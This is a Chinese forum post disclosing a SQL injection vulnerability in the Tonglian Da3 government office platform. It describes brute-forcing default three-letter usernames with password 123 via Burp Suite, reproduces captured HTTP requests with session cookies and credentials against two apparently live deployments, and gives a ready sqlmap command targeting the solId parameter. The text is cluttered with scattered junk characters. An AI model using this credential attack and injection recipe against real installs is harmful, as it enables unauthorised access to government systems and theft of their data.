同联Da3协同办公平台前台通用sql injection漏洞

admin

0 y7 |5 u* ?' P! ~: Q& \3 Z' ~

5 [2 P% D# g2 ]) W& ~# L* F

平台简介： ; p4 X5 S. c2 V8 F" ?/ q4 l( B

: B. n, F) v5 ]) K1 |( ~

  3 s6 g; I0 P( b1 }9 U

9 B4 ~4 E# h3 I" j1 ^( e 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
( y: P* C+ T d) k5 g同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

 

* v; u; ^" q& c1 t5 a

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 9 ?* @# D, g/ R/ Y3 E* ~, U

 

0 S: h# A3 I+ V* t6 i( ?0 b http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站）

( E5 Q$ q" D0 ~7 t   2 {* w& V- M% k; H7 U9 m

漏洞详情: 9 V5 C& G+ K3 \

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： $ Y6 l, Q9 ^% W+ q# G

5 r+ ^0 h9 F7 X7 L# w% ]

3 I; k2 e3 i T1 Q% x, d0 w   3 ]& }0 ~4 @1 _

" o# @/ _/ F, B+ B4 w8 }

$ {! D) Q1 U# w0 U" @+ z! ^' W- C' i   ) Z- _3 G H- m& E/ t: D

+ j. p! n& E; |; I status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： 3 S8 R; l6 v/ O# e# b+ m0 a6 N7 u

5 }8 y8 l# {, r8 T

1、案例1-官方网站 : k. m7 Q2 Q" b* k' h

" p9 z% b$ i9 C! p& ~/ D Z

8 v) n8 i J. [* Y" y GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 1 V0 Z; G# ^/ v! Q0 a7 v+ m, D

8 P* F9 L* u8 z) A5 ~, P/ ]

* a/ Y* N7 U/ B R/ l" s Host: www.XXOO.com

, i, J1 u0 {7 ?0 u2 G, p, u

Proxy-Connection: Keep-Alive

; R2 l" ]# q9 g* b/ a3 x- w

) g) h3 |" }- ]% h' z Accept: application/json, text/javascript, */*; q=0.01 4 `+ R+ Z' L2 G0 B8 O

# \0 F+ C* H# { Accept-Language: zh-CN

6 L" x+ Z+ s5 } Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 5 q$ j: E: |8 C7 o

8 A0 H* [3 {8 f3 M, m p: k X-Requested-With: XMLHttpRequest $ z6 g% J- Z5 I) c9 |% L+ X2 |- D

/ |' `7 c* J9 f0 C( g

) |& d8 @9 e6 ^4 Y3 ? V. } Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

; I$ \. M$ Q3 M

0 R9 R @' E% o6 R; d' _- I; t/ h Accept-Encoding: gzip, deflate, sdch

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 1 ~4 Q# h- B ?9 {

8 D/ K) g5 {7 E5 | h! K0 `$ u% ?% q

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

8 r: e- Q6 n8 _: W' p   ! V/ S" P3 @8 | {& l

0 H1 F* m$ P* t

" X* f" Q0 T6 J3 z4 J3 Z   ; H# `# A* ]8 y6 g9 h

7 I5 G# k2 A' g5 ~* M$ F* o

 

: \* m8 R* V; g P- z: l3 d! r2 n

9 P. G* u( D# E  

 

2、案例2-某天河云平台 $ i6 ]7 m' \ \/ S. O) l8 q+ `' B

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 , G7 }& o. s Q# E$ Q

3 h# G7 U2 o0 ~; [

* y/ M1 F1 Z. O7 [- ]% N) q Host: 1.1.1.:7197 9 D, m- ]5 i; o' W! z- B

S4 G% F3 @4 ] Accept: application/json, text/javascript, */*; q=0.01 1 \! d0 A. h P0 [

. y5 p- \$ A! B! A X-Requested-With: XMLHttpRequest 7 E* {% o% _7 e& [/ w, T

; B5 y7 V1 l7 V( B/ O

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 % Z1 M/ W1 \) r% f! \7 f6 l5 x

Content-Type: application/json

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 # ^+ \7 L* v, E; [

( O/ n9 ?; x& U* X) M. K Accept-Language: zh-CN,zh;q=0.8

4 I, j- l* W F* u7 S) o; u# x

4 P4 \' w$ i5 v8 G+ A/ @ Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 + v( d+ i/ [# X' g1 H. W6 m1 o, S

! p: ]* U' I* x7 I Connection: close : g; @) h+ U# ]4 o. }( B

& o+ \9 ?, r4 N) U' u: Y

( R, k' T1 b9 a @5 |' J 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

) D$ U }2 [3 y4 U

9 A- T" O* Y9 v+ G( Q  

; v5 d( M9 G2 }: q9 o6 x1 V& y- d! S

6 @' e+ x2 j3 V/ M6 e